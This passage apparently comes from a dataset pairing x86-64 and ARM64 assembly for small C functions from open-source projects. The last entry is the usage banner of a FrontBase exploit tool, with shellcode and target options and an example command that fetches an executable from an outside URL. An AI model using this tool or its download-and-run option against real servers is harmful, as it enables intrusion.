ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
ldp x20, x19, [sp, #64] ; 16-byte Folded Reload
ldp x22, x21, [sp, #48] ; 16-byte Folded Reload
ldp x24, x23, [sp, #32] ; 16-byte Folded Reload
ldp x26, x25, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #96 ; 16-byte Folded Reload
ret
.loh AdrpLdrGot Lloh3, Lloh4
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGot Lloh5, Lloh6
.loh AdrpLdrGotLdr Lloh10, Lloh11, Lloh12
.loh AdrpLdrGotLdr Lloh7, Lloh8, Lloh9
.loh AdrpLdrGotLdr Lloh13, Lloh14, Lloh15
.loh AdrpAdd Lloh19, Lloh20
.loh AdrpLdrGotLdr Lloh16, Lloh17, Lloh18
.cfi_endproc
; -- End function
.comm _EHEA_PAGES_PER_SECTION,8,3 ; @EHEA_PAGES_PER_SECTION
.comm _EHEA_MAX_RPAGE,8,3 ; @EHEA_MAX_RPAGE
.comm _EHEA_PAGESIZE,8,3 ; @EHEA_PAGESIZE
.comm _H_SUCCESS,8,3 ; @H_SUCCESS
.comm _H_PAGE_REGISTERED,8,3 ; @H_PAGE_REGISTERED
.comm _FORCE_FREE,4,2 ; @FORCE_FREE
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "register_rpage_mr failed\n"
.no_dead_strip _ehea_reg_mr_section
.subsections_via_symbols
| AnghaBench/linux/drivers/net/ethernet/ibm/ehea/extr_ehea_qmr.c_ehea_reg_mr_section.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function scsiback_do_del_lun
_scsiback_do_del_lun: ## @scsiback_do_del_lun
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
movq %rsi, %r14
movq %rdi, %rbx
movq %rdx, %rsi
callq _scsiback_del_translation_entry
testl %eax, %eax
je LBB0_1
LBB0_2:
popq %rbx
popq %r14
popq %rbp
retq
LBB0_1:
movq _XBT_NIL@GOTPCREL(%rip), %rax
movl (%rax), %edi
movq (%rbx), %rax
movl (%rax), %esi
movq _XenbusStateClosed@GOTPCREL(%rip), %rax
movl (%rax), %r8d
leaq L_.str(%rip), %rcx
movq %r14, %rdx
callq _xenbus_printf
testq %rax, %rax
je LBB0_2
## %bb.3:
leaq L_.str.1(%rip), %rdi
movq %r14, %rsi
popq %rbx
popq %r14
popq %rbp
jmp _pr_err ## TAILCALL
.cfi_endproc
## -- End function
.comm _XBT_NIL,4,2 ## @XBT_NIL
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
.comm _XenbusStateClosed,4,2 ## @XenbusStateClosed
L_.str.1: ## @.str.1
.asciz "xenbus_printf error %s\n"
.no_dead_strip _scsiback_do_del_lun
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function scsiback_do_del_lun
_scsiback_do_del_lun: ; @scsiback_do_del_lun
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x1
mov x20, x0
mov x1, x2
bl _scsiback_del_translation_entry
cbz w0, LBB0_2
LBB0_1:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
LBB0_2:
Lloh0:
adrp x8, _XBT_NIL@GOTPAGE
Lloh1:
ldr x8, [x8, _XBT_NIL@GOTPAGEOFF]
Lloh2:
ldr w0, [x8]
ldr x8, [x20]
ldr w1, [x8]
Lloh3:
adrp x8, _XenbusStateClosed@GOTPAGE
Lloh4:
ldr x8, [x8, _XenbusStateClosed@GOTPAGEOFF]
Lloh5:
ldr w4, [x8]
Lloh6:
adrp x3, l_.str@PAGE
Lloh7:
add x3, x3, l_.str@PAGEOFF
mov x2, x19
bl _xenbus_printf
cbz x0, LBB0_1
; %bb.3:
Lloh8:
adrp x0, l_.str.1@PAGE
Lloh9:
add x0, x0, l_.str.1@PAGEOFF
mov x1, x19
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
b _pr_err
.loh AdrpAdd Lloh6, Lloh7
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpAdd Lloh8, Lloh9
.cfi_endproc
; -- End function
.comm _XBT_NIL,4,2 ; @XBT_NIL
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
.comm _XenbusStateClosed,4,2 ; @XenbusStateClosed
l_.str.1: ; @.str.1
.asciz "xenbus_printf error %s\n"
.no_dead_strip _scsiback_do_del_lun
.subsections_via_symbols
| AnghaBench/linux/drivers/xen/extr_xen-scsiback.c_scsiback_do_del_lun.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _led_set_kb ## -- Begin function led_set_kb
.p2align 4, 0x90
_led_set_kb: ## @led_set_kb
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
popq %rbp
jmp _led_set_user ## TAILCALL
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _led_set_kb ; -- Begin function led_set_kb
.p2align 2
_led_set_kb: ; @led_set_kb
.cfi_startproc
; %bb.0:
b _led_set_user
.cfi_endproc
; -- End function
.subsections_via_symbols
| AnghaBench/qmk_firmware/keyboards/dozen0/extr_dozen0.c_led_set_kb.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ada_val_print ## -- Begin function ada_val_print
.p2align 4, 0x90
_ada_val_print: ## @ada_val_print
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movl 32(%rbp), %r10d
movl 24(%rbp), %r11d
movl 16(%rbp), %eax
movq %rdi, -8(%rbp)
movq %rsi, -56(%rbp)
movl %edx, -48(%rbp)
movl %ecx, -16(%rbp)
movq %r8, -24(%rbp)
movl %r9d, -44(%rbp)
movl %eax, -40(%rbp)
movl %r11d, -36(%rbp)
movl %r10d, -32(%rbp)
movq _ada_val_print_stub@GOTPCREL(%rip), %rax
movl (%rax), %edi
movq _RETURN_MASK_ALL@GOTPCREL(%rip), %rax
movl (%rax), %ecx
leaq -56(%rbp), %rsi
xorl %edx, %edx
callq _catch_errors
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _ada_val_print_stub,4,2 ## @ada_val_print_stub
.comm _RETURN_MASK_ALL,4,2 ## @RETURN_MASK_ALL
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ada_val_print ; -- Begin function ada_val_print
.p2align 2
_ada_val_print: ; @ada_val_print
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
ldr w8, [x29, #16]
str x0, [sp, #56]
str x1, [sp, #8]
str w3, [sp, #48]
str x4, [sp, #40]
stp w2, w5, [sp, #16]
stp w6, w7, [sp, #24]
str w8, [sp, #32]
Lloh0:
adrp x8, _ada_val_print_stub@GOTPAGE
Lloh1:
ldr x8, [x8, _ada_val_print_stub@GOTPAGEOFF]
Lloh2:
ldr w0, [x8]
Lloh3:
adrp x8, _RETURN_MASK_ALL@GOTPAGE
Lloh4:
ldr x8, [x8, _RETURN_MASK_ALL@GOTPAGEOFF]
Lloh5:
ldr w3, [x8]
add x1, sp, #8
mov x2, #0
bl _catch_errors
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _ada_val_print_stub,4,2 ; @ada_val_print_stub
.comm _RETURN_MASK_ALL,4,2 ; @RETURN_MASK_ALL
.subsections_via_symbols
| AnghaBench/freebsd/contrib/gdb/gdb/extr_ada-valprint.c_ada_val_print.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function free_rangepoint
_free_rangepoint: ## @free_rangepoint
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl (%rdi), %edi
popq %rbp
jmp _nsIDOMNode_Release ## TAILCALL
.cfi_endproc
## -- End function
.no_dead_strip _free_rangepoint
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function free_rangepoint
_free_rangepoint: ; @free_rangepoint
.cfi_startproc
; %bb.0:
ldr w0, [x0]
b _nsIDOMNode_Release
.cfi_endproc
; -- End function
.no_dead_strip _free_rangepoint
.subsections_via_symbols
| AnghaBench/reactos/dll/win32/mshtml/extr_txtrange.c_free_rangepoint.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.globl __dwarf_write_string_alloc ## -- Begin function _dwarf_write_string_alloc
.p2align 4, 0x90
__dwarf_write_string_alloc: ## @_dwarf_write_string_alloc
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %r8, -48(%rbp) ## 8-byte Spill
movq %rcx, %r14
movq %rdx, %r15
movq %rsi, %r13
movq %rdi, %r12
xorl %edi, %edi
cmpl $0, (%rsi)
setg %dil
callq _assert
movq %r14, %rdi
callq _strlen
incl %eax
movslq %eax, %rbx
.p2align 4, 0x90
LBB0_1: ## =>This Inner Loop Header: Depth=1
movslq (%r15), %rax
addq %rbx, %rax
movslq (%r13), %rsi
cmpq %rsi, %rax
jbe LBB0_4
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
addq %rsi, %rsi
movl %esi, (%r13)
movq (%r12), %rdi
callq _realloc
movq %rax, (%r12)
testq %rax, %rax
jne LBB0_1
## %bb.3:
movq _DW_DLE_MEMORY@GOTPCREL(%rip), %rbx
movl (%rbx), %edx
xorl %edi, %edi
movq -48(%rbp), %rsi ## 8-byte Reload
callq _DWARF_SET_ERROR
jmp LBB0_5
LBB0_4:
movq (%r12), %rdi
movq %r15, %rsi
movq %r14, %rdx
callq __dwarf_write_string
movq _DW_DLE_NONE@GOTPCREL(%rip), %rbx
LBB0_5:
movl (%rbx), %eax
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.section __DATA,__data
.globl _g_aug_volatile_5729 ## @g_aug_volatile_5729
.p2align 2, 0x0
_g_aug_volatile_5729:
.long 9 ## 0x9
.comm _DW_DLE_MEMORY,4,2 ## @DW_DLE_MEMORY
.comm _DW_DLE_NONE,4,2 ## @DW_DLE_NONE
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.globl __dwarf_write_string_alloc ; -- Begin function _dwarf_write_string_alloc
.p2align 2
__dwarf_write_string_alloc: ; @_dwarf_write_string_alloc
.cfi_startproc
; %bb.0:
stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
mov x19, x4
mov x20, x3
mov x21, x2
mov x23, x1
mov x22, x0
ldr w8, [x1]
cmp w8, #0
cset w0, gt
bl _assert
mov x0, x20
bl _strlen
add w8, w0, #1
sxtw x24, w8
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldrsw x9, [x21]
ldrsw x8, [x23]
add x9, x9, x24
cmp x9, x8
b.ls LBB0_4
; %bb.2: ; in Loop: Header=BB0_1 Depth=1
lsl x1, x8, #1
str w1, [x23]
ldr x0, [x22]
bl _realloc
str x0, [x22]
cbnz x0, LBB0_1
; %bb.3:
Lloh0:
adrp x20, _DW_DLE_MEMORY@GOTPAGE
Lloh1:
ldr x20, [x20, _DW_DLE_MEMORY@GOTPAGEOFF]
ldr w2, [x20]
mov x1, x19
bl _DWARF_SET_ERROR
b LBB0_5
LBB0_4:
ldr x0, [x22]
mov x1, x21
mov x2, x20
bl __dwarf_write_string
Lloh2:
adrp x20, _DW_DLE_NONE@GOTPAGE
Lloh3:
ldr x20, [x20, _DW_DLE_NONE@GOTPAGEOFF]
LBB0_5:
ldr w0, [x20]
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
ldp x24, x23, [sp], #64 ; 16-byte Folded Reload
ret
.loh AdrpLdrGot Lloh0, Lloh1
.loh AdrpLdrGot Lloh2, Lloh3
.cfi_endproc
; -- End function
.section __DATA,__data
.globl _g_aug_volatile_5729 ; @g_aug_volatile_5729
.p2align 2, 0x0
_g_aug_volatile_5729:
.long 9 ; 0x9
.comm _DW_DLE_MEMORY,4,2 ; @DW_DLE_MEMORY
.comm _DW_DLE_NONE,4,2 ; @DW_DLE_NONE
.subsections_via_symbols
| assembly_file_64923.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _BTM_ReadScoDiscReason ## -- Begin function BTM_ReadScoDiscReason
.p2align 4, 0x90
_BTM_ReadScoDiscReason: ## @BTM_ReadScoDiscReason
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq _btm_cb@GOTPCREL(%rip), %rcx
movl (%rcx), %eax
movq _BTM_INVALID_SCO_DISC_REASON@GOTPCREL(%rip), %rdx
movl (%rdx), %edx
movl %edx, (%rcx)
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _btm_cb,4,2 ## @btm_cb
.comm _BTM_INVALID_SCO_DISC_REASON,4,2 ## @BTM_INVALID_SCO_DISC_REASON
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _BTM_ReadScoDiscReason ; -- Begin function BTM_ReadScoDiscReason
.p2align 2
_BTM_ReadScoDiscReason: ; @BTM_ReadScoDiscReason
.cfi_startproc
; %bb.0:
Lloh0:
adrp x8, _btm_cb@GOTPAGE
Lloh1:
ldr x8, [x8, _btm_cb@GOTPAGEOFF]
ldr w0, [x8]
Lloh2:
adrp x9, _BTM_INVALID_SCO_DISC_REASON@GOTPAGE
Lloh3:
ldr x9, [x9, _BTM_INVALID_SCO_DISC_REASON@GOTPAGEOFF]
Lloh4:
ldr w9, [x9]
str w9, [x8]
ret
.loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4
.loh AdrpLdrGot Lloh0, Lloh1
.cfi_endproc
; -- End function
.comm _btm_cb,4,2 ; @btm_cb
.comm _BTM_INVALID_SCO_DISC_REASON,4,2 ; @BTM_INVALID_SCO_DISC_REASON
.subsections_via_symbols
| AnghaBench/esp-idf/components/bt/host/bluedroid/stack/btm/extr_btm_sco.c_BTM_ReadScoDiscReason.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.globl _git_vector_insert ## -- Begin function git_vector_insert
.p2align 4, 0x90
_git_vector_insert: ## @git_vector_insert
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
movq %rsi, %rbx
movq %rdi, %r14
testq %rdi, %rdi
jne LBB0_2
## %bb.1:
xorl %eax, %eax
callq ___coverity_panic__
LBB0_2:
movq (%r14), %rsi
movq 8(%r14), %rdi
decq %rsi
movq %rsi, (%r14)
callq _realloc
movq %rax, 8(%r14)
testq %rax, %rax
jne LBB0_4
## %bb.3:
xorl %eax, %eax
callq ___coverity_panic__
movq 8(%r14), %rax
LBB0_4:
movq (%r14), %rcx
movq %rbx, (%rax,%rcx,8)
xorl %eax, %eax
popq %rbx
popq %r14
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.globl _git_vector_insert ; -- Begin function git_vector_insert
.p2align 2
_git_vector_insert: ; @git_vector_insert
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x1
mov x20, x0
cbnz x0, LBB0_2
; %bb.1:
bl ___coverity_panic__
LBB0_2:
ldp x8, x0, [x20]
sub x1, x8, #1
str x1, [x20]
bl _realloc
str x0, [x20, #8]
cbnz x0, LBB0_4
; %bb.3:
bl ___coverity_panic__
ldr x0, [x20, #8]
LBB0_4:
ldr x8, [x20]
str x19, [x0, x8, lsl #3]
mov w0, #0 ; =0x0
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| assembly_file_105476.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _usage ## -- Begin function usage
.p2align 4, 0x90
_usage: ## @usage
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdi, %r14
leaq L_.str(%rip), %rdi
movq %r14, %rsi
xorl %eax, %eax
callq _printf
leaq L_str.34(%rip), %rdi
callq _puts
leaq L_str.21(%rip), %rdi
callq _puts
movl $10, %edi
callq _putchar
leaq L_str.22(%rip), %rdi
callq _puts
leaq L_str.23(%rip), %rdi
callq _puts
leaq L_str.24(%rip), %rdi
callq _puts
leaq L_str.25(%rip), %rdi
callq _puts
leaq L_str.26(%rip), %rdi
callq _puts
leaq L_str.27(%rip), %rdi
callq _puts
leaq L_str.28(%rip), %rdi
callq _puts
leaq L_str.29(%rip), %rdi
callq _puts
leaq L_str.30(%rip), %rdi
callq _puts
movl $10, %edi
callq _putchar
leaq L_str.31(%rip), %rdi
callq _puts
movq _shellcodes@GOTPCREL(%rip), %r12
movq (%r12), %rax
movq (%rax), %rdx
testq %rdx, %rdx
je LBB0_3
## %bb.1:
movl $1, %ebx
leaq L_.str.14(%rip), %r15
.p2align 4, 0x90
LBB0_2: ## =>This Inner Loop Header: Depth=1
movq %r15, %rdi
movl %ebx, %esi
xorl %eax, %eax
callq _printf
movq (%r12), %rax
movq (%rax,%rbx,8), %rdx
incq %rbx
testq %rdx, %rdx
jne LBB0_2
LBB0_3:
movl $10, %edi
callq _putchar
leaq L_str.32(%rip), %rdi
callq _puts
movq _targets@GOTPCREL(%rip), %r12
movq (%r12), %rax
movq (%rax), %rdx
testq %rdx, %rdx
je LBB0_6
## %bb.4:
movl $1, %ebx
leaq L_.str.16(%rip), %r15
.p2align 4, 0x90
LBB0_5: ## =>This Inner Loop Header: Depth=1
movq %r15, %rdi
movl %ebx, %esi
xorl %eax, %eax
callq _printf
movq (%r12), %rax
movq (%rax,%rbx,8), %rdx
incq %rbx
testq %rdx, %rdx
jne LBB0_5
LBB0_6:
movl $10, %edi
callq _putchar
leaq L_str.33(%rip), %rdi
callq _puts
leaq L_.str.18(%rip), %rdi
movq %r14, %rsi
xorl %eax, %eax
callq _printf
leaq L_.str.19(%rip), %rdi
movq %r14, %rsi
xorl %eax, %eax
callq _printf
leaq L_.str.20(%rip), %rdi
movq %r14, %rsi
xorl %eax, %eax
callq _printf
leaq L_str.34(%rip), %rdi
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
jmp _puts ## TAILCALL
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz " Usage: %s -h <host> -p <port> -s <shellcode> -t <target> -u <user> -p <password> -d <database> -D <dbpassword> -x <url>\n"
.comm _shellcodes,8,3 ## @shellcodes
L_.str.14: ## @.str.14
.asciz " %d. %s \n"
.comm _targets,8,3 ## @targets
L_.str.16: ## @.str.16
.asciz " %d. %s\n"
L_.str.18: ## @.str.18
.asciz " %s -h 127.0.0.1 -d New\n"
L_.str.19: ## @.str.19
.asciz " %s -h 127.0.0.1 -p 1155 -u root -p dta -D dta -t 1\n"
L_.str.20: ## @.str.20
.asciz " %s -h 127.0.0.1 -d New -t 5 -s 2 -x http://dreatica.com/calc.exe\n"
L_str.21: ## @str.21
.asciz " Arguments:"
L_str.22: ## @str.22
.asciz " -h <host> the host IP to attack"
L_str.23: ## @str.23
.asciz " -p <port> the port of server (default: -1 )"
L_str.24: ## @str.24
.asciz " -s <shellcode> shellcode number (default: 1 )"
L_str.25: ## @str.25
.asciz " -t <target> target number (default: 1 )"
L_str.26: ## @str.26
.asciz " -u <user> user name of frontbase (default: _SYSTEM)"
L_str.27: ## @str.27
.asciz " -p <password> user password (default: <blank>)"
L_str.28: ## @str.28
.asciz " -d <database> database (if port = -1) (default: <blank>)"
L_str.29: ## @str.29
.asciz " -D <dbpassword> database password (default: <blank>)"
L_str.30: ## @str.30
.asciz " -x <url> URL to executable (default: <blank>)"
L_str.31: ## @str.31
.asciz " Shellcodes:\n"
L_str.32: ## @str.32
.asciz " Targets:\n"
L_str.33: ## @str.33
.asciz " Examples:\n"
L_str.34: ## @str.34
.asciz " ----------------------------------------------------------------------- "
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _usage ; -- Begin function usage
.p2align 2
_usage: ; @usage
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x19, x0
str x0, [sp]
Lloh0:
adrp x0, l_.str@PAGE
Lloh1:
add x0, x0, l_.str@PAGEOFF
bl _printf
Lloh2:
adrp x0, l_str.34@PAGE
Lloh3:
add x0, x0, l_str.34@PAGEOFF
bl _puts
Lloh4:
adrp x0, l_str.21@PAGE
Lloh5:
add x0, x0, l_str.21@PAGEOFF
bl _puts
mov w0, #10
bl _putchar
Lloh6:
adrp x0, l_str.22@PAGE
Lloh7:
add x0, x0, l_str.22@PAGEOFF
bl _puts
Lloh8:
adrp x0, l_str.23@PAGE
Lloh9:
add x0, x0, l_str.23@PAGEOFF
bl _puts
Lloh10:
adrp x0, l_str.24@PAGE
Lloh11:
add x0, x0, l_str.24@PAGEOFF
bl _puts
Lloh12:
adrp x0, l_str.25@PAGE
Lloh13:
add x0, x0, l_str.25@PAGEOFF
bl _puts
Lloh14:
adrp x0, l_str.26@PAGE
Lloh15:
add x0, x0, l_str.26@PAGEOFF
bl _puts
Lloh16:
adrp x0, l_str.27@PAGE
Lloh17:
add x0, x0, l_str.27@PAGEOFF
bl _puts
Lloh18:
adrp x0, l_str.28@PAGE
Lloh19:
add x0, x0, l_str.28@PAGEOFF
bl _puts
Lloh20:
adrp x0, l_str.29@PAGE
Lloh21:
add x0, x0, l_str.29@PAGEOFF
bl _puts
Lloh22:
adrp x0, l_str.30@PAGE
Lloh23:
add x0, x0, l_str.30@PAGEOFF
bl _puts
mov w0, #10
bl _putchar
Lloh24:
adrp x0, l_str.31@PAGE
Lloh25:
add x0, x0, l_str.31@PAGEOFF
bl _puts
Lloh26:
adrp x21, _shellcodes@GOTPAGE
Lloh27:
ldr x21, [x21, _shellcodes@GOTPAGEOFF]
ldr x8, [x21]
ldr x8, [x8]
cbz x8, LBB0_3
; %bb.1:
mov w22, #1
Lloh28:
adrp x20, l_.str.14@PAGE
Lloh29:
add x20, x20, l_.str.14@PAGEOFF
LBB0_2: ; =>This Inner Loop Header: Depth=1
stp x22, x8, [sp]
mov x0, x20
bl _printf
ldr x8, [x21]
ldr x8, [x8, x22, lsl #3]
add x22, x22, #1
cbnz x8, LBB0_2
LBB0_3:
mov w0, #10
bl _putchar
Lloh30:
adrp x0, l_str.32@PAGE
Lloh31:
add x0, x0, l_str.32@PAGEOFF
bl _puts
Lloh32:
adrp x21, _targets@GOTPAGE
Lloh33:
ldr x21, [x21, _targets@GOTPAGEOFF]
ldr x8, [x21]
ldr x8, [x8]
cbz x8, LBB0_6
; %bb.4:
mov w22, #1
Lloh34:
adrp x20, l_.str.16@PAGE
Lloh35:
add x20, x20, l_.str.16@PAGEOFF
LBB0_5: ; =>This Inner Loop Header: Depth=1
stp x22, x8, [sp]
mov x0, x20
bl _printf
ldr x8, [x21]
ldr x8, [x8, x22, lsl #3]
add x22, x22, #1
cbnz x8, LBB0_5
LBB0_6:
mov w0, #10
bl _putchar
Lloh36:
adrp x0, l_str.33@PAGE
Lloh37:
add x0, x0, l_str.33@PAGEOFF
bl _puts
str x19, [sp]
Lloh38:
adrp x0, l_.str.18@PAGE
Lloh39:
add x0, x0, l_.str.18@PAGEOFF
bl _printf
str x19, [sp]
Lloh40:
adrp x0, l_.str.19@PAGE
Lloh41:
add x0, x0, l_.str.19@PAGEOFF
bl _printf
str x19, [sp]
Lloh42:
adrp x0, l_.str.20@PAGE
Lloh43:
add x0, x0, l_.str.20@PAGEOFF
bl _printf
Lloh44:
adrp x0, l_str.34@PAGE
Lloh45:
add x0, x0, l_str.34@PAGEOFF
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #64
b _puts
.loh AdrpLdrGot Lloh26, Lloh27
.loh AdrpAdd Lloh24, Lloh25
.loh AdrpAdd Lloh22, Lloh23
.loh AdrpAdd Lloh20, Lloh21
.loh AdrpAdd Lloh18, Lloh19
.loh AdrpAdd Lloh16, Lloh17
.loh AdrpAdd Lloh14, Lloh15
.loh AdrpAdd Lloh12, Lloh13
.loh AdrpAdd Lloh10, Lloh11
.loh AdrpAdd Lloh8, Lloh9
.loh AdrpAdd Lloh6, Lloh7
.loh AdrpAdd Lloh4, Lloh5
.loh AdrpAdd Lloh2, Lloh3
.loh AdrpAdd Lloh0, Lloh1
.loh AdrpAdd Lloh28, Lloh29
.loh AdrpLdrGot Lloh32, Lloh33
.loh AdrpAdd Lloh30, Lloh31
.loh AdrpAdd Lloh34, Lloh35
.loh AdrpAdd Lloh44, Lloh45
.loh AdrpAdd Lloh42, Lloh43
.loh AdrpAdd Lloh40, Lloh41
.loh AdrpAdd Lloh38, Lloh39
.loh AdrpAdd Lloh36, Lloh37
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz " Usage: %s -h <host> -p <port> -s <shellcode> -t <target> -u <user> -p <password> -d <database> -D <dbpassword> -x <url>\n"
.comm _shellcodes,8,3 ; @shellcodes
l_.str.14: ; @.str.14
.asciz " %d. %s \n"
.comm _targets,8,3 ; @targets
l_.str.16: ; @.str.16
.asciz " %d. %s\n"
l_.str.18: ; @.str.18
.asciz " %s -h 127.0.0.1 -d New\n"
l_.str.19: ; @.str.19
.asciz " %s -h 127.0.0.1 -p 1155 -u root -p dta -D dta -t 1\n"
l_.str.20: ; @.str.20
.asciz " %s -h 127.0.0.1 -d New -t 5 -s 2 -x http://dreatica.com/calc.exe\n"
l_str.21: ; @str.21
.asciz " Arguments:"
l_str.22: ; @str.22
.asciz " -h <host> the host IP to attack"
